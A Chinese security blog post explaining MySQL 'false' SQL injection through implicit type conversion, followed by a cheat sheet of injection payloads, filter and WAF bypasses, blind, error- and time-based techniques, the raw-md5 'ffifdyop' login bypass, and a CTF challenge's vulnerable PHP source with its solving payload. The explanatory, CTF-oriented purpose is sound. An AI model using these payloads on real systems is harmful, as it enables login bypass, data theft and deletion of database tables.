False注入,以及SQL注入技巧总结
title: False注入,以及SQL注入技巧总结
date: 2017-04-25 00:23:31
tags: ['SQL注入']
利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。
原文首发在安全客,文章地址:http://bobao.360.cn/learning/detail/3804.html
有点可惜小编排版有些不是很完美。
0x01 False Injection
0 :引子
首先我们常见的注入
1=1
0<1
''=''
这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。
首先抛出这么一个问题
为什么username=0会导致返回数据呢?
这就是一个基于false注入的例子,下面在举一个例子
和上面是同一个表,但是为什么这里只返回了两组数据呢?
说到这里不得不说一说有关于MYSQL的隐式类型转换。
1:MYSQL隐式类型转换
关于官方文档中是这么说的
The following rules describe how conversion occurs for comparison operations:
- If one or both arguments are
NULL
, the result of the comparison isNULL
, except for theNULL
-safe<=>
equality comparison operator. ForNULL <=> NULL
, the result is true. No conversion is needed. - If both arguments in a comparison operation are strings, they are compared as strings.
- If both arguments are integers, they are compared as integers.
- Hexadecimal values are treated as binary strings if not compared to a number.
- If one of the arguments is a
TIMESTAMP
orDATETIME
column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments toIN()
! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when usingBETWEEN
with date or time values, useCAST()
to explicitly convert the values to the desired data type. - If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.
- In all other cases, the arguments are compared as floating-point (real) numbers.
其中大致是:
- 如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换
- 两个参数都是字符串,按照字符串比较。不做类型转换
- 两个参数都是整数,按照整数比较。不做类型转换
- 如果不与数字进行比较,则将十六进制值视为二进制字符串。
- 有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳
- 有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
- 所有其他情况下,两个参数都会被转换为浮点数再进行比较
最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败
在这里我试了试如果是字符串和数字比较
:
可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。
2、原理
mysql在变量比较的时候进行类型转换,我们就是利用字符转换的结果为false来进行利用:
其中同时0又是等于false的
这里查看一下warning
发现正如官方文档所述,会转换为double,同时并不能转换所产生的warning
现在可以很好理解之前为什么username=0会导致返回数据。
因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回false使得false=0从而为true得到结果。
细心一点可以发现开篇的例子第二组passwd查询少一组数据。
关于这一点我做了一下测试
mysql> select 'a' = 0;
+---------+
| 'a' = 0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)
mysql> select '1a' = 1;
+----------+
| '1a' = 1 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)
mysql> select '1a1b' = 1;
+------------+
| '1a1b' = 1 |
+------------+
| 1 |
+------------+
1 row in set, 1 warning (0.00 sec)
mysql> select '1a2b3' = 1;
+-------------+
| '1a2b3' = 1 |
+-------------+
| 1 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 'a1b2c3' = 0;
+--------------+
| 'a1b2c3' = 0 |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
可以观察到这里有几个特性
- 如果字符串的第一个字符就是非数字的字符,那么转换为数字就是0
- 如果字符串以数字开头
- 如果字符串中都是数字,那么转换为数字就是整个字符串对应的数字
- 如果字符串中存在非数字,那么转换为的数字就是开头的那些数字对应的值
3、利用
实际中我们接触到的语句都是带有引号的,类似于where username='+input+'
这样的,这时候我们就需要做一些处理来构造false注入的利用点。
3.1、算术运算
加:+
'+',
拼接的语句:where username=''+''
减:-
'-'
拼接的语句:where username=''-''
乘:*
'*'
拼接的语句:where username=''*''
除:/
'/6#
拼接的语句:where username=''/6#
取余:%
'%1#
拼接的语句:where username=''%1#
3.2、 位操作运算
我们可以使用当字符串和数字运算的时候类型转换的问题进行利用
我们可以用的位运算符有:
和运算:&
'&0#
拼接的语句:where username=''&0#'
或运算:|
'|0#
拼接的语句:where username=''|0#'
异或运算:^
'^0#
拼接的语句:where username=''^0#'
移位操作:
'<<0#
'>>0#
位非(~):这里位非运算符由于是在表达式之前的
3.3、 比较运算符
安全等于:<=>
'=0<=>1#
拼接的语句:where username=''=0<=>1#'
不等于<>(!=)
'=0<>0#
拼接的语句:where username=''=0<>0#'
大小于>或<
'>-1#
拼接的语句:where username=''>-1#
3.4、 其他
'+1 is not null#
'in(-1,1)#
'not in(1,0)#
'like 1#
'REGEXP 1#
'BETWEEN 1 AND 1#
'div 1#
'xor 1#
'=round(0,1)='1
'<>ifnull(1,2)='1
4、综合利用
有时候如果我们的注入点不能有数字出现,比如过滤了数字,那我们该如何利用?
这里就可以利用一些内置的函数或运算来构造
mysql> select 'aaa'=''-'';
+-------------+
| 'aaa'=''-'' |
+-------------+
| 1 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 'aaa'=~~'';
+------------+
| 'aaa'=~~'' |
+------------+
| 1 |
+------------+
1 row in set, 2 warnings (0.00 sec)
mysql> select 'aaa'=mod(pi(),pi());
+----------------------+
| 'aaa'=mod(pi(),pi()) |
+----------------------+
| 1 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。
比较多的是在登录验证的时候影响比较大,或者是在where进行限定的时候产生一些比较不可预期的错误,譬如删除数据的时候如果代码过滤不严,这里利用严重的可以删除整个表。
当然这里可以通过配合其他的姿势来进行利用
这里举例一道题
<?php
include("config.php");
$conn ->query("set names utf8");
function randStr($lenth=32){
$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$str = "";
while($lenth>0){
$str.=substr($strBase,rand(0,strlen($strBase)-1),1);
$lenth --;
}
return $str;
}
if($install){
$sql = "create table `user` (
`id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,
`username` varchar(30) NOT NULL,
`passwd` varchar(32) NOT NULL,
`role` varchar(30) NOT NULL
)ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
if($conn->query($sql)){
$sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
$conn -> query($sql);
}
}
function filter($str){
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}
function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}
function login($username,$passwd){
global $conn;
global $flag;
$username = trim(strtolower($username));
$passwd = trim(strtolower($passwd));
if($username == 'admin'){
die("you can't login this as admin!");
}
$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
if($res->fetch_assoc()['role'] === 'admin') exit($flag);
}else{
echo "sorry,username or passwd error!";
}
}
function source(){
highlight_file(__FILE__);
}
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
$action = isset($_GET['action'])?filter($_GET['action']):"source";
switch($action){
case "source": source(); break ;
case "login" : login($username,$passwd);break;
case "show" : show($username);break;
}
我们注意到filter()函数$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
这里看起来过滤的比较多,其中and,or还有&,|都被过滤了,这个时候就可以利用false进行盲注。
可以在show函数利用查询的时候注入,
username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"
这里官方给出的就是利用异或,其实这里并不需要’admin‘只要是一串字符串就可以
异或会使字符串都转为浮点数,都变为了0,由于0=0^0 -> 1^0 -> 1
当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多
还有就是构造的payload比较简短,例如'+'、'^'、'/4#
这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。
4.1、结合盲注
这里false注入如果是在一些非验证的地方利用的地方基本是需要盲注,姿势比较多
0x02、一些注入的技巧
通常注入利用的姿势不是靠一个点就可以突破的,往往需要结合许多姿势技巧
mysql的注入过程中,我们用得到的一些:
常量:true, false, null, \N, current_timestamp
变量:@myvar:=1
系统变量:@@version, @@datadir....
常用函数:version(), pi(), pow(), char(), substring()
字符串生成:hex(), conv()
有关于字符串生成的一些基础字符(其余的字符可以由此扩展):
true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6
1、过滤的绕过:
过滤空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释
过滤and,or:||,&&
union select:
利用括号,'and(true)like(false)union(select(pass)from(users)),
方括号union [all|distinct] select pass from users#,
union%a0select pass from users,
或者内联注释union/*&sort=*/select pass from users#
union:子查询进行盲注and length((select pass from users having substr(pass,1,1)='a'))
having:and(select substr(group_concat(pass),1,1)from users)='a
select ... from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):
select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)
and,&,or,|:
这里就是可以利用上文中提到的false注入的方式进行绕过
可以通过字符串比较引入查询
譬如'=1=(select .....)
过滤逗号:' and substr(data from 1 for 1) = 'a'#
2、技巧:
下面说几种不同情境的注入技巧
2.1、like
有时候我们可以利用一些逻辑语句进行注入例如在最近的0ctf上的Temmo’s Tiny Shop这个题中,我们在搜索的时候推测出语句是在like后的,就可以通过left来进行like盲注
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)
2.2、Limt
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO是需要写的权限。
利用PROCEDURE 有两种方式,基于报错和时间的,具体文章见这里Mysql下Limit注入方法
基于报错:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
基于时间:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
2.3、order by
order by 后的数字可以作为一个注入点。具体可以看这个文章MySQL Order By 注入总结
这里可以用一些判断和返回值进行利用,
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
还可以用rand函数
/?order=rand(1=1)
/?order=rand(1=2)
通常这里我们是不知道列名的,那可以通过报错进行利用
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
利用regexp
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用updatexml
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误
利用extractvalue
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误
利用sleep()也可以....
方法比较灵活
3、有关函数
3.1 不常用函数绕过滤
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))
3.2 搜索匹配类的函数
'-if(locate('f',data),1,0)#
'-if(locate('fo',data),1,0)#
'-if(locate('foo',data),1,0)#
instr(), position()
3.3、一些数学函数
1、format(x,y) 函数,功能是将一个数字x,保留y位小数,并且整数部分用逗号分隔千分位,小数部分四舍五入。
2、abs(); 求一个数的绝对值;absolute
3、sqrt();求一个数的平方根。sqrt是sqruar(平方,矩形) ,root(根)的缩写。
4、mod(x,y) x除数,y被除数。结束是余数。
5、ceil() 进一取整。floor()舍一取整
这两个函数是镜子函数,比较有点意思。这两个函数并不进行四舍五入,比较强硬。
6、rand() 顾名思义,是用来生成随机数用的。种子不变数值不变。
7、format 会自动进行千分位,下面我们来看看round函数,进行四舍五入。
8、truncate(x,y) 比较霸道,不管四舍五入,直接把x,的y位小数直接干掉。
9、sign() 返回当前结果得符号,如果是负数返回-1,如果是0 返回0 如果是正数,返回1.
10、power() 幂运算
11.SIN(X)、ASIN(X)、COS(X)、ACOS(X)、TAN(X)、ATAN(X)、COT(X) 三角函数
12.RADIANS(X) 和 DEGREES(X): 角度与弧度转换函数
13. LOG(X)和LOG10(X): 对数运算函数
14. POW(X,Y), POWER(X,Y)和EXP(X)
3.4、使用函数进行字符串的切割
length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter
4 关于php中md5的一个有意思的小技巧
PHP中这么一段sql语句
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
这里是可以注入绕过的,在php关于MD5函数的介绍说
如果可选的 raw_output
被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop
,md5加密后对应字符编码刚好是'or'<trash>
,便产生注入
这里的原文在这
END
false注入也许在某些时候会利用,但是对其中并不是很了解,所以在这里进行了一下系统地总结。
同时往往在利用的时候往往不只是一个点,要结合许多姿势。文章后半部分就是总结了一些注入小姿势,并不是很系统有些散,如果有错误欢迎大佬指出。
参考:
https://www.exploit-db.com/papers/18263/
https://www.secpulse.com/archives/57197.html
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
False注入,以及SQL注入技巧总结的更多相关文章
- XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式
SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库. 比如有一个图书馆站点book ...
- 注入攻击(SQL注入)
注入攻击是web安全领域中一种最为常见的攻击方式.注入攻击的本质,就是把用户输入的数据当做代码执行.这里有两个关键条件,第一是用户能够控制输入,第二个就是原本程序要执行的代码,将用户输入的数据进行了拼 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- 注入攻击(SQL注入防御)
正确的防御SQL注入 sql注入的防御不是简单只做一些用户输入的escape处理,这样是不够的,只是提高了攻击者的门槛而已,还是不够安全. 例如 mysql_real_escape_string()函 ...
- 最新SQL手工注入语句&SQL注入大全
看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...
- SQL注入 (1) SQL注入类型介绍
SQL注入 SQL注入介绍与分类 1. 什么是sql注入 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 2. sql注入类型 按照注入 ...
- 利用SQL注入漏洞登录后台
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...
- SQL注入漏洞技术的详解
SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...
- CTF SQL注入
目录 一.宽字节注入 二.基于约束的注入 三.报错注入 四.时间盲注 五.bool盲注 六.order by的注入 六.INSERT.UPDATE.DELETE相关的注入 七.堆叠注入 八.常用绕过 ...
随机推荐
- python方法的重写
方法的重写: 在子类中重写定义一个父类拥有的方法, 调用时使用子类中重写定义的方法. 效果图: 代码: class Animal: def run(self): print('动物会跑~~~') de ...
- k8s~为服务添加ingress的实现
为服务添加ingress的实现 1 当我们为指定的项目添加ingress支持之后,它会在“负载均衡”标签页出现,并显示出你的域名解析到的服务. 2 我们的ingress是支持https的,所以需要为你 ...
- net 自带cache
using System.Web.Caching; Cache cache = new Cache();
- 【JavaScript 基础知识】一篇关于 JavaScript 一些知识点的总结
JavaScript 中基础数据类型 数据类型名称 数据类型说明 Undefined 只有一个值,即 undefined ,声明变量的初始值. Null 只有一个值,即 null ,表示空指针, ...
- Centos 7.2 Jenkins+Ansible+Gitlab 基础配置
注意:首先准备jenkins服务器 如何搭建jenkins 由于上篇文章中jenkins是采用war并部署在tomcat中来完成的安装,所以这里隆重介绍下启动tomcat的用户:tomcat,下面会 ...
- Scrapy的基本使用
爬取:http://quotes.toscrape.com 单页面 # -*- coding: utf-8 -*- import scrapy class QuoteSpider(scrapy.Spi ...
- 记第一场cf比赛(Codeforces915)
比赛感想 本来21:05开始的比赛,结果记成21:30了...晚了25分钟才开始[捂脸] 这次是Educational Round,所以还比较简单. 前两道题一眼看去模拟+贪心,怕错仔细看了好几遍题, ...
- RChain的一键形式化验证:关于RCast 33 – LADL话题的讨论摘要
作者/Atticbee 在这一集,Greg和RChain的研究人员Isaac,Christian讨论了TLA(Temporal Logic of Actions)和RChain的LADL(Logic ...
- JPA_映射关联关系
一:单项多对一的关联关系 例如:订单和客户 1.新创建订单类 package com.atguigu.jpa.helloworld; import javax.persistence.Column; ...
- 论文翻译:Mastering the Game of Go without Human Knowledge (第一部分)
长久以来,人工智能的一个目标是在那些具有挑战性的领域实现超过人类表现的算法.最近,AlphaGo成为了在围棋上第一个打败了世界冠军的程序.在AlphaGo中,使用深度神经网络来进行树搜索,评估位置,和 ...